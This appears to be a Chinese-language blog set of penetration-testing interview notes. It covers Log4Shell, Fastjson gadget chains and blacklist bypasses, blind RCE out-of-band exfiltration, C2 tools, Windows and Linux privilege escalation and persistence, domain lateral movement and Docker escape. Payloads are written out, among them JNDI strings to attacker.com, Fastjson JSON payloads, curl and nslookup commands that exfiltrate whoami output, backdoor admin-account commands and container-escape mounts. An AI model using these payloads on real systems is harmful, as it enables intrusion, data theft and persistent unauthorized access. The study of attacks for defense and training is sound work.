- 逆向分析思路: 学会了如何针对 Weevely 这种混淆工具进行去混淆,以及如何编写脚本解密其网络流量,还原攻击者的操作指令(这在电子取证中至关重要)。
补充
-
认证是验证用户是否为其声称身份的过程。授权涉及验证用户是否被允许执行某些操作。
-
在认证及暴力破解中,识别到支持
X-Forwarded-For头,这允许你伪装 IP 地址并绕过基于 IP 的暴力破解保护。
一、 Log4j2 漏洞 (Log4Shell / CVE-2021-44228)
核心原理: 利用 Log4j2 的 Lookups 机制配合 JNDI 注入 请求恶意LDAP服务器,加载恶意的class文件,实现远程代码执行(RCE)。
利用 使用JNDI-Injection-Exploit工具搭建恶意服务,构造payload发送
1. 根本原因:过于灵活的 Lookups 功能
Log4j2 允许在日志字符串中使用 ${...} 格式的占位符。解析器在处理日志时,会解析该占位符并执行相应操作(Lookups)。其中 JndiLookup 类允许通过 JNDI(Java Naming and Directory Interface)协议获取外部资源。
2. 攻击流程
- 输入: 攻击者在 User-Agent、URL 参数等会被记录到日志的地方,输入 Payload,例如:
${jndi:ldap://attacker.com/exploit}。 - 解析: Log4j2 的
PatternLayout解析日志,发现${语法,调用StrSubstitutor进行替换。 - 识别协议: 提取
jndi:ldap://...,识别为 JNDI Lookup,调用JndiManager。 - 发起请求: 目标服务器通过 JNDI 接口向攻击者控制的 LDAP/RMI 服务发起 Lookup 请求。
- 恶意回传: 攻击者的 LDAP 服务返回一个
Reference对象,指向一个恶意的.class文件(Codebase)。 - 加载执行: 目标服务器的 JVM 发现该 Reference 指向远程类,自动下载并加载该
.class文件。在类加载的初始化阶段(static 代码块),恶意代码被执行。
3. 关键代码逻辑(简化)
// org.apache.logging.log4j.core.lookup.JndiLookup
public String lookup(final LogEvent event, final String key) {
// ...
// 直接将 key (即 ldap://...) 传入 JNDI 上下文
return this.jndiManager.lookup(key);
}
注意: 在高版本 JDK(如 8u191+)中,
trustURLCodebase默认为 false,限制了远程类加载。但这不代表无法利用,攻击者仍可利用本地 Classpath 中存在的 Gadget(如 Tomcat 的BeanFactory)进行利用,只是门槛变高了。
二、 Fastjson 反序列化漏洞
核心原理: 利用 Fastjson 的 AutoType 机制,在反序列化过程中实例化恶意类,并自动调用其 Setter/Getter 方法,从而触发恶意逻辑。
1. 根本原因:@type 标识与自动调用
Fastjson 允许在 JSON 字符串中使用 "@type" 字段来指定反序列化后的目标类。这本是为了多态支持,但如果未加限制,攻击者可以让服务端实例化任意类。
2. 攻击流程
- 输入: 攻击者发送一个包含
"@type": "com.sun.rowset.JdbcRowSetImpl"的 JSON 字符串。 - 实例化: Fastjson 解析 JSON,读取
@type,利用反射机制实例化JdbcRowSetImpl类。 - 属性赋值(关键点): Fastjson 在反序列化时,会自动调用目标类的
setXxx方法来赋值;在特定条件下(如 key 为$ref或类型匹配需要),甚至会调用getXxx方法。 - 触发 Gadget:
JdbcRowSetImpl这个类的dataSourceName属性被赋值后,如果调用其setAutoCommit(true)(会触发connect()),或者调用getDatabaseMetaData(),它会在内部触发 JNDI Lookup。 - RCE: 最终通过 JNDI 注入流程(同 Log4j2)实现 RCE。
3. Payload 示例 (JdbcRowSetImpl 利用链)
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/exploit",
"autoCommit": true
}
原理: Fastjson 调用 setDataSourceName 设置 URL,随后处理 autoCommit 字段时调用 setAutoCommit(true),该方法内部调用了 connect(),进而执行 context.lookup(dataSourceName)。
4. 对抗史(AutoType Check)
Fastjson 的漏洞历史就是一部 CheckAutoType 的绕过史。
- 黑名单机制: 官方不断维护一个黑名单(如禁止
JdbcRowSetImpl、TemplatesImpl等),但攻击者不断挖掘新的 Gadget 或利用 Unicode 编码、缓存机制等方式绕过黑名单。 - 白名单机制: 后期版本(1.2.68+)引入了
safeMode,彻底禁用了 AutoType,但这会破坏原有业务兼容性,很多开发不愿开启。
三、 总结与对比
| 特性 | Log4j2 (Log4Shell) | Fastjson 反序列化 |
|---|---|---|
| 入口点 | 日志记录 (logger.info()) |
JSON 解析 (JSON.parseObject(), JSON.parse()) |
| 触发机制 | 字符串格式化 Lookups (${}) |
@type 指定类 + 自动调用 Setter/Getter |
| 核心利用链 | 主要依赖 JNDI | 依赖 Gadget (如 JdbcRowSetImpl 走 JNDI,或 TemplatesImpl 加载字节码) |
| 危害程度 | 极高 (无差别攻击,利用简单) | 高 (需寻找特定 Gadget,且受限于 parser 配置) |
| 防御难点 | 依赖库嵌套深,难以排查完全 | 业务严重依赖 AutoType,无法轻易关闭 |
fastjson常用链
1. JNDI 注入链(最经典、高频)
这是最常用的手段,利用目标服务器去远程加载恶意的 RMI/LDAP 服务。
-
代表 Gadget:
com.sun.rowset.JdbcRowSetImpl -
利用原理:
Fastjson 会反序列化并调用 setDataSourceName() 和 setAutoCommit()。在 setAutoCommit(false) 被调用时,会触发 connect() 方法,进而执行 Context.lookup(dataSourceName)。
-
Payload 示例:
JSON
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-vps-ip:1389/Exploit", "autoCommit": true } -
适用场景: 目标机器可以出网(访问你的 LDAP 服务)。
2. TemplatesImpl 字节码加载链(无需出网)
当目标机器禁止出网时,JNDI 无法使用,这时可以利用这种方式直接将恶意字节码注入到内存中。
-
代表 Gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl -
利用原理:
利用该类的 _bytecodes 属性注入经过 Base64 编码的恶意类字节码。
-
限制条件: 1. Fastjson 需开启 Feature.SupportNonPublicField。
- 需精准匹配字段名(如 _outputProperties)。
-
Payload 结构:
JSON
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": "yv66vgAAADQA... (恶意字节码)", "_name": "a.b", "_tfactory": {}, "_outputProperties": {} }
3. BCEL 字节码注入链(Tomcat 环境常用)
如果目标环境是 Tomcat 并且存在相关依赖,这是一种非常隐蔽的 RCE 方式。
-
代表 Gadget:
org.apache.tomcat.dbcp.dbcp2.BasicDataSource -
利用原理:
通过 driverClassLoader 加载一个特殊的 BCEL 格式的类名。该类名中包含了压缩后的字节码,由 BCELClassLoader 负责解压并实例化。
-
Payload 示例:
JSON
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "org.apache.bcel.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$..." }
4. 关键版本绕过历程
由于 Fastjson 引入了 checkAutoType 黑名单机制,不同版本需要不同的绕过姿势:
-
1.2.25 - 1.2.41(L 绕过):
利用类名前后的 L 和 ; 绕过黑名单检查(如 Lcom.sun.rowset.JdbcRowSetImpl;)。
-
1.2.42 - 1.2.45(双写绕过):
官方修复了单层过滤,使用双写 LL...;; 绕过。
-
1.2.47(缓存绕过 - 杀伤力最大):
利用 java.lang.Class 先将恶意类加载到 Fastjson 的缓存(mapping)中,从而绕过后续的 checkAutoType 检查。
Payload 关键结构: 先发一个请求让
Class加载恶意类,第二个字段再调用该类。
5. 辅助与探测 Gadgets
在不确定版本或是否利用成功时,可以使用以下类进行探测:
| 类名 | 作用 |
|---|---|
java.net.InetAddress |
通过 DNSLog 探测是否存在 Fastjson 漏洞。 |
java.net.URL |
同上,利用 URL 读取触发 DNS 请求。 |
com.alibaba.fastjson.JSONObject |
结合其他链条进行畸形构造。 |
RCE命令无回显的解决方案
第一步:确认与排查 (The Basics)
首先要确认命令是否真的执行了,这是区分“命令未执行”和“命令执行但无回显”的关键。
| 步骤 | 目的 | 示例命令 (Linux) |
|---|---|---|
| 1. 时间盲注测试 | 确认命令执行功能是否存活。 | sleep 5 |
回答要点: “我会首先使用 时间盲注(Time-based Blind) 方法,例如执行 sleep 5。如果 Web 响应延迟了 5 秒,则确认命令已执行。” |
||
| 2. 出站连通性测试 | 确认目标主机是否能访问外部网络。 | curl http://yourip/test 或 ping -c 1 yourip |
回答要点: “接下来,我会尝试用 curl 或 ping 连通我控制的 外部监听器,确认出站连接是否被防火墙(FW/WAF)允许。” |
第二步:核心解决方案:带外(OOB)数据回传
这是解决无回显问题的核心,要根据不同的网络环境分层阐述。
核心思路: “解决无回显的根本方法是采用带外(Out-of-Band, OOB)数据通道,将命令结果发送到我能控制的外部服务器上。”
1. 优先方案:基于 HTTP/HTTPS
- 适用场景: 出站 80/443 端口开放。
- 方法: 使用目标主机上的网络工具(如
curl,wget, PowerShell 的Invoke-WebRequest)将命令结果编码(如 Base64)后,作为 URL 参数 或 POST 数据 发送到我的外部 HTTP 监听器。 - 示例:
curl http://yourip:8080/?data=$(whoami | base64)
2. 高隐蔽性方案:基于 DNS 隧道
- 适用场景: HTTP/S 端口被封锁,但 DNS 请求通常允许出站。
- 方法: 将命令结果 Base64 编码后,作为 子域名 发送给我的权威 DNS 服务器。防火墙通常不会拦截 DNS 请求,这是一种高效且隐蔽的回传机制。
- 示例:
/usr/bin/nslookup $(whoami | base64).result.attacker.com
3. 兜底方案:盲打
- 适用场景: 所有出站网络连接都被严格限制,但目标主机允许写入文件,且我知道一个 Web 根目录。
- 方法: 写webshell:尝试直接写入文件到web目录进行访问
反弹shell:尝试直接反弹shell到你的vps
🌟 总结回答
“我会先用
sleep命令确认 RCE 是否存活。然后,我会尝试利用 带外(OOB)通信 解决无回显问题。首选 HTTP 请求,将 Base64 编码的结果发送到我的监听器。如果 HTTP 被拦截,我会使用 DNS 隧道,将结果作为子域名回传,因为 DNS 通常不会被严格限制。最终,我会利用找到的通道,尝试echo写入一个一句话木马或者建立一个反弹 Shell 来获取稳定的交互式回显。”
GetShell 后无法获得远程桌面
- 本地防火墙检测:如果端口在监听但外部无法连接,问题就在于本地防火墙或边界防火墙
- 服务和端口状态检查:确认服务正在运行且端口 3389 处于
LISTENING状态 - 权限确认:权限不足时,必须进行 权限提升(Privilege Escalation),获取 System 或 Administrator 权限,才能顺利启用和配置 RDP
- RDP 服务未启用或配置错误:在 Shell 中检查 RDP 服务的状态并尝试启动它。修改注册表键值来启用RDP(需要管理员权限)。
Spring全家桶
| 产品 | 核心功能 | 常见安全关注点 |
|---|---|---|
| Spring Framework | 依赖注入, MVC, AOP | SpEL 注入, 反序列化 |
| Spring Boot | 自动配置, 内嵌容器 | Actuator 未授权访问, Jolokia 利用 |
| Spring Security | 认证, 授权 | 权限绕过, OAuth2 配置错误, CSRF |
| Spring Cloud Gateway | API 网关, 路由 | SPEL 注入 RCE (CVE-2022-22947) |
| Spring Cloud Config | 配置中心 | 目录遍历 (CVE-2019-3799) |
| Spring Data | 数据库操作 | SQL 注入 (虽然较少,但 HQL/JPQL 注入仍存在) |
sudo和suid提权
| 特性 | Sudo 提权 | SUID 提权 |
|---|---|---|
| 控制位置 | /etc/sudoers 配置文件 |
文件系统权限位 (-rwsr-xr-x) |
| 执行者 | 用户主动使用 sudo 前缀 |
用户直接运行二进制文件 |
| 密码要求 | 通常需要用户自己的密码 | 不需要密码 |
| 核心漏洞点 | 配置过度宽松 (NOPASSWD, ALL) |
二进制程序逻辑漏洞或功能滥用 |
Python部分
有没有编写过脚本
使用python编写过相关的脚本,SQL注入、任意文件读取、未授权、RCE、文件上传...都是最近报的漏洞,然后手工复测之后进行武器化
python用到什么库
request库发起网络请求、os、sys模块操作系统、time库涉及时间戳(SQL时间盲注)、random随机数、json库解析json格式数据、编解码相关的有base64、url,多线程批量处理请求用到threading和multiprocessing模块,xpath和BS4用来解析XML响应
内网工具
用过什么内网C2工具 command and control
MSF、CS、Vshell、Viper炫彩蛇(MSF图形化版本)还了解过BRC4,Silver。
MSF
有什么模块,你用过什么模块
auxiliary辅助扫描模块 exploit漏洞利用模块 post后渗透模块 encoder编解码模块 payload载荷生成模块
auxiliary用来检测扫描目标是否开放了端口、存在弱口令或存在漏洞
exploit用来调用msf准备的rb脚本攻击,监听explpoit/multi/handler
可能可以获得一个meterpreter会话进行后渗透攻击
post模块一般在拿到shell之后进行调用,比如autoroute自动设置路由
payload生成木马,对应的命令是msfvenom -p
CS
有没有用过CS
用过,使用进行本地的靶场测试、应急演练、攻防对抗
上线exe、powershell上线、web投递、宏文档上线、dll动态链接库注册上线、shellcode(.bin)加载器上线
内网信息收集
一般拿到shell之后要收集哪些信息
systeminfo补丁、系统、ipconfig网段信息、arp -a扫描内网同段主机、whoami当前用户信息 net user所有用户信息、tasklist /svc查看杀软信息、schtasks计划任务、服务、启动项、是否为域环境net time,命令查询完之后可以再上fscan、kscan等进行内网扫描,看看是不是有其他端口的应用开放以及内网其他主机。
包括各种凭证、比如主机账号密码、浏览器账号密码、cookie、远控todesk\向日葵密码、vpn账号密码、远程桌面账号密码,配合工具mimikatz、getpassword
windows提权
提权方法
手工提权(查补丁反向查找是否有可利用的exp)
工具(CS/MSF一把梭)
内核漏洞提权(土豆家族 烂土豆、微笑土豆、上帝土豆、甜土豆......)
令牌窃取token(窃取system/administrator)
BypassUAC( user account control)
进程注入(inject msf(migrate))
安装路径、计划任务(权限设置错误)
数据库提权(有数据库mysql mssql原理)
数据库提权
mysql提权
- UDF提权:利用MySQL自定义函数(UDF)功能,上传恶意动态链接库(DLL),执行系统命令。
- 启动项提权:通过MySQL写入文件权限,在系统启动目录创建脚本,实现权限提升。
- 漏洞利用:利用MySQL服务本身或系统组件的安全漏洞(如CVE-2016-6662)获取系统权限。
- 系统服务提权:利用MySQL服务账户权限,通过弱配置或服务漏洞提升至SYSTEM权限。
mssql提权
1.xp_cmdshell提权
- OLE Automation 提权(sp_oacreate和sp_oamethod)
当 xp_cmdshell 被禁用时,可使用OLE Automation存储过程来执行命令。
原理:通过 sp_oacreate 和 sp_oamethod 调用Windows脚本对象(如 WScript.Shell)来运行命令。
windows权限维持
1.影子账户(以$结尾,并且配合注册表进行重新导入复制管理员属性)
2.启动目录(系统层面启动目录/用户层面启动目录)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
3.计划任务 at(2008系统以前)schtasks
4.服务后门 sc 注册服务 c:/a.exe
5.shift粘滞键后门
6.配合软件将文件设置为系统驱动级文件属性实现隐藏
7.dll替换正常软件启动时候调用的dll
Linux提权
内核漏洞提权 dirty-cow脏牛提权 dirty-pipe脏管道提权 polkit漏洞提权CVE-2021-4034
原生组件提权 sudo原生漏洞
sudo提权 可以以管理员权限运行程序
suid提权 文件运行时可获得创建者权限
计划任务提权
配置错误提权 /etc/passwd用户信息可编辑 /etc/shadow可读,爆破密码
环境变量劫持提权(需要配合SUID文件同时执行系统层面命令)
数据库(Mysql提权)上传的是恶意的so文件,可以任意创建函数调用系统命令
Linux权限维持
后门用户,添加一个uid为0的用户
SSH后门,传公钥,软链接、strace
计划任务反弹shell
rc.local rc.d启动目录执行开机自启
系统级服务伪装
内核rootkit隐藏 Diamorphine
内网横向
如何横向
配合端口转发技术比如LCX转发,netsh转发,linux的话可以配合SSH实现本地、远程和动态端口转发。
或者配合代理工具:frp、stowaway、neo-regeorg、suo5、pstinger毒刺、EW
IPC$共享目录进行smb横向移动、PTH通过mimikatz爬取到hash进行横向移动
传递hash实现登录的工具可以用impacket里面的psexec、smbexec、wmiexec
域渗透
信息收集
网络拓扑(域控IP、子网划分)、域结构(域名、信任关系、组织单位)、用户账户(特权用户列表、SPN服务账户)、计算机资产(域成员列表、服务器角色、操作系统版本)、共享资源(网络共享、DFS配置)、应用服务(SQL Server、IIS、Exchange实例)、漏洞信息(未打补丁系统、错误配置权限)以及凭据数据(缓存的Hash、Kerberos票据)
域内网横向
如果能执行net user /domain的话就可以直接进行密码喷洒,如果不可以执行则还需要进行用户名枚举,还有roasting攻击和kerberosting攻击,如果顺利可以拿到低权限或者域管理员级别的账户和密码,就可以进行IPC$横向移动
如果没有的话尝试爬取hash,进行PTH横向移动、或者爬取AES密钥进行PTK横向移动、或者申请票据进行PTT横向移动(比如金票银票)
域内提权
MS14-068 (Kerberos提权漏洞):利用Kerberos协议中PAC验证缺失,允许普通域用户伪造高权限TGT票据,直接提升为域管理员。
CVE-2020-1472 (Netlogon特权提升漏洞):因Netlogon协议加密缺陷,允许攻击者伪造域控制器身份,重置计算机账户密码,进而获取域控哈希。
CVE-2021-42278/42287 (Kerberos组合漏洞):42278允许将普通域账户伪装成域控账户,结合42287的票据缓存机制缺陷,可伪造高权限ST票据进行提权。
域内权限维持
金票银票
金票,伪造的是TGT票据,需要在域控提取krbtgt的hash以及域的SID进行伪造,伪造成功之后可以访问域内任何服务,但会在KDC上留下日志。并且票据有效期一般10年。
银票,伪造的是ST票据,需要提取对方的服务账户的hash以及SID,只能访问特定范围的服务,并且票据有效期一般10年,不会在KDC留下访问日志。
windows创建用户
cmd:
创建用户
net user admin password /add
归到管理员组
net localgroup administrators admin /add
powershell
# 创建密码对象(更安全的方式,或者直接用明文)
$Password = Read-Host -AsSecureString
# 输入密码后回车
# 创建用户
New-LocalUser "myadmin" -Password $Password -FullName "Security Admin" -Description "Authorized Admin"
或者一句话powershell
New-LocalUser -Name "myadmin" -Password (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "myadmin"
Docker逃逸
配置不当导致的逃逸
privileged特权逃逸
原理: 容器可以直接访问宿主机的/dev目录
利用: 在容器内挂载宿主机的磁盘分区
# 在容器内查看宿主机磁盘
fdisk -l
# 挂载宿主机根分区到容器目录
mount /dev/sda1 /mnt
# 通过 chroot 切换到宿主机根目录,实现逃逸
chroot /mnt
Docker socket挂载(如果 /var/run/docker.sock 被挂载到容器内)
原理: 该文件时Docker Daemon的API接口。容器内可以通过它向宿主机下达"启动新容器"的命令
利用: 在容器内安装 Docker 客户端,运行一个挂载了宿主机根目录的新容器。
docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu:18.04 /bin/bash
挂载敏感目录逃逸
如果容器挂载了宿主机的敏感目录(如 /proc、/sys、/etc 等),往往可以通过修改配置实现逃逸。
- 挂载 /proc 目录:可以通过修改
core_pattern实现命令执行逃逸。 - 挂载 /root/.ssh:直接修改宿主机的
authorized_keys从而通过 SSH 登录宿主机。
内核漏洞逃逸
由于容器共享宿主机的内核,如果宿主机内核存在漏洞,容器内的进程可以触发这些漏洞来提权并逃逸。
- DirtyCow (CVE-2016-5195):经典的脏牛漏洞,通过内存页写入实现逃逸。
- DirtyPipe (CVE-2022-0847):较新的高危漏洞,利用管道缓冲区漏洞覆盖只读文件。
- CVE-2022-0492:利用
cgroups v1的release_agent特性进行逃逸。
程序自身漏洞(runc/containerd)
Docker 依赖的组件(如 runc, containerd)如果存在逻辑漏洞,也能导致逃逸。
- CVE-2019-5736 (runc 逃逸):
- 原理:恶意容器可以重写宿主机的
runc二进制文件。 - 后果:当宿主机下一次运行
docker exec时,会执行攻击者注入的代码。
- 原理:恶意容器可以重写宿主机的
- CVE-2024-21626:通过工作目录(cwd)的文件描述符泄露实现逃逸。
在进行渗透测试时,你可以按照以下流程自检:
- 权限检查:执行
capsh --print查看当前容器的 Capabilities。如果有CAP_SYS_ADMIN,逃逸可能性极大。 - 设备检查:查看
ls /dev,如果看到大量的宿主机设备文件,通常处于特权模式。 - 环境扫描:检查环境变量、
.dockerenv文件以及mount信息。 - 自动化工具:使用 CDK (Container Detection Kit) 或 deepce 等工具进行快速漏洞扫描。

浙公网安备 33010602011771号